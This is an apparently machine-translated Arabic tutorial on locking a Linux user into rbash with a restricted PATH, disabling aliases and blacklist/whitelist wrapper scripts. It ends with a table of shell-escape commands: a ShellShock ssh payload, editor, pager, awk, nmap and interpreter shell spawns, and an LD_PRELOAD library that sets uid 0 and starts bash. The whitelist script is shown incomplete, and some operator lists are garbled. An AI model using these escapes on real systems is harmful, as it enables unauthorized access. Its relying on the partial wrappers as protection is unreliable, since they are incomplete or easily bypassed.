
في يوم من الأيام ، ظهرت المهمة التالية: لإنشاء مستخدم محلي في Linux ، مع وصول محدود إلى المجلدات والملفات ، بما في ذلك ليس فقط التحرير ، ولكن أيضًا عرض ، بالإضافة إلى القدرة على استخدام الأدوات المساعدة المسموح بها فقط. يتم توفير الوصول المحلي فقط ، لا يوجد الوصول إلى الشبكة.
من أجل عدم إعادة اختراع العجلة ، فإن أول شيء فعلته هو بدء حفر الإنترنت ، ونتيجة لذلك تم العثور على الخيارات التالية:
- قيود الوصول من خلال خدمات الشبكة سه ، sftp (لم يصلح)
- تمايز حقوق الوصول بواسطة نظام التشغيل linux نفسه (لم يكن مناسبًا ، أود حلاً عالميًا)
- باستخدام الجذر (لم يصلح)
- استخدام الأدوات المساعدة التابعة لجهات خارجية ، على سبيل المثال SELinux (غير مناسب ، يعقد النظام).
كنتيجة للبحث ، تم العثور على
آلية مضمنة لتقييد قدرات المستخدم داخل غلاف bash ، يطلق عليها
Restricted Shell أو rbash .
يقوم بتنفيذ القيود التالية:
- لا توجد طريقة لتغيير الدليل باستخدام الأمر cd
- لا يمكنك إعادة تعيين أو تغيير قيم المتغيرات SHELL و PATH و ENV و BASH_ENV
- يحظر تحديد الأوامر التي تحتوي على / (شرطة مائلة)
- يحظر استيراد وظائف من القشرة الرئيسية
- يحظر إعادة توجيه الإخراج باستخدام عوامل التشغيل> ، <، | ، <> ،> & ، & ، & ، & ، &
- يحظر استخدام الأمر exec لاستبدال الأمر ، إلخ.
هناك ناقص ، وهذا هو الأمن ، لذلك لا بد من إضافة اسم مستعار للأوامر في ملف السلوك من قذيفة .bashrc (المعلومات ستكون أبعد من ذلك).
بالطبع ، rbash خارج الصندوق ، فهو لا يحل جميع المشاكل ، لذلك ، على سبيل المثال ، نحن نفكر في إنشاء مستخدم وإعداد بيئته لإيجاد حل كامل لمشكلتنا.
علاوة على ذلك ، يتم تنفيذ جميع العمليات من الخارق (الجذر).
1. إنشاء قذيفة محدودة
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash
2. إنشاء مستخدم
adduser --home /home/zuser --shell /bin/zbash zuser
3. تغيير أذونات الدليل
chown root.zuser /home/zuser chmod 750 /home/zuser
4. انتقل إلى الدليل وتنظيفه
cd ~zuser ls -a rm .bash* rm .profile ls -a
5. تخصيص قذيفة والحقوق
echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc
يحدد ملف .bashrc سلوك shell ؛ يمكن إضافة الاسم المستعار للأوامر أو
الخيارات الإضافية إلى هذا الملف.
لضمان الأمن ، قم بتشغيل الأوامر التالية:
echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc
القائمة تطول ...
6. التحقق من العمل
root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls: zuser@host: /bin/ls bash: /bin/ls: {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH: zuser@host: exit
7. إضافة أوامر صالحة
ln -s /bin/ping /home/zuser/bin/ping
الأهم من ذلك ، يجب تحديد المسارات في الأمر ln بالكامل.
8. يمكنك استخدام الأغلفة للحد من خيارات الأمر.
mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info
9. يمكنك أيضًا إنشاء غلاف للعمل مع الملفات والمجلدات.
مع
قائمة سوداء (اسمح لكل شيء ما عدا):
- إنشاء ملف
nano /var/scripts/ls
- محتويات الملف
blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $*
القائمة السوداء - متغير يحتوي على قائمة سوداء من الأدلة أو الملفات (مفصولة بمسافات)
- إضافة أمر للمستخدم zuser
chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls
يتيح لك هذا البرنامج النصي تنفيذ الأمر ls باستخدام أي مفاتيح للأدلة والملفات التي لا تتطابق مع القائمة السوداء
مع
قائمة بيضاء (حظر كل شيء ما عدا):
- إنشاء ملف
nano /var/scripts/cat
- محتويات الملف
whitelist="./ /tmp/"
القائمة البيضاء - متغير يحتوي على قائمة بيضاء من الأدلة أو الملفات (المساحة مفصولة)
- إضافة أمر للمستخدم zuser
chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat
يتيح لك هذا البرنامج النصي تنفيذ الأمر cat مع الملفات المحددة في القائمة البيضاء.
انتهى الأمر ، وحصلنا في النهاية على النتيجة التالية:
- أنشأنا مستخدم zuser مع قذيفة rbash
- تعطيل القدرة على استخدام الإكمال التلقائي في وحدة التحكم
- يمكن zuser فقط تشغيل الأدوات المساعدة من الدليل / home / zuser / bin
- إضافة الأمر ping إلى zuser
- إضافة الأمر user-info إلى المستخدم zuser
- تم تقييد zuser من خلال المجمع لتنفيذ أوامر ls و cat
هذه الطريقة لسوء الحظ لا تضمن أمانًا بنسبة 100٪ ، ومع وجود معرفة ومؤهلات معينة ، يمكن للمستخدم ترك هذه القشرة. بفضل
Jouretz Arheops YaDr في التعليقات التي
قدموها أمثلة على التحايل على قيود قذيفة.
توجد الثغرات التالية في هذا الحل (Shell Escape) ، والتي يجب أخذها في الاعتبار:
PATH | القدرة على تغيير المتغير PATH |
نسخ الملفات عن طريق scp | القدرة على تحميل البرنامج النصي الخاص بك |
عند الاتصال عبر ssh ، يمكنك تغيير الصدفة | ssh zuser@xxxx -t "/bin/bash" |
عند الاتصال عبر ssh ، يمكنك تغيير ملف تكوين shell | ssh zuser@xxxx -t "bash --noprofile" |
عند الاتصال عبر ssh ، يمكنك استخدام ShellShock | ssh zuser@xxxx -t "() { :; }; /bin/bash" |
عبر المرافق السادس ، هيم | :!bash |
عبر المرافق السادس ، هيم | :set shell=/bin/bash :shell |
من خلال رجل المرافق ، أكثر ، أقل | !bash |
من خلال الأداة المساعدة find | find . -maxdepth 0 -execdir /bin/bash \; |
عن طريق فائدة awk | awk 'BEGIN {system("/bin/bash")}' |
عبر الأداة المساعدة nmap | nmap --interactive |
عبر الأداة المساعدة nmap | echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse |
من خلال بيرل | perl -e 'exec "/bin/bash";' |
عبر الثعبان | python -c 'import pty; pty.spawn("/bin/bash")' |
عبر روبي | ruby: exec "/bin/bash" |
عبر LD_PRELOAD | قم بإنشاء ملف evil.c:
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } نحن نجمع:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles ننقل ملف evil.so الناتج إلى الجهاز مع إغلاق وحدة التحكم وتشغيلها:
LD_PRELOAD=$PWD/evil.so ls كحجة ، أي أمر متاح |
نظرًا لوجود عدد كبير بما فيه الكفاية من الثغرات الأمنية ، لا يمكن استخدام هذه الطريقة إلا لمستخدم محلي على أنظمة غير هامة ؛ للوصول إلى شبكة عبر ssh ، من الأفضل استخدام chroot أو الأدوات المساعدة الأخرى لتقييد قدرات المستخدم.
آمل أن تكون هذه المعلومات مفيدة.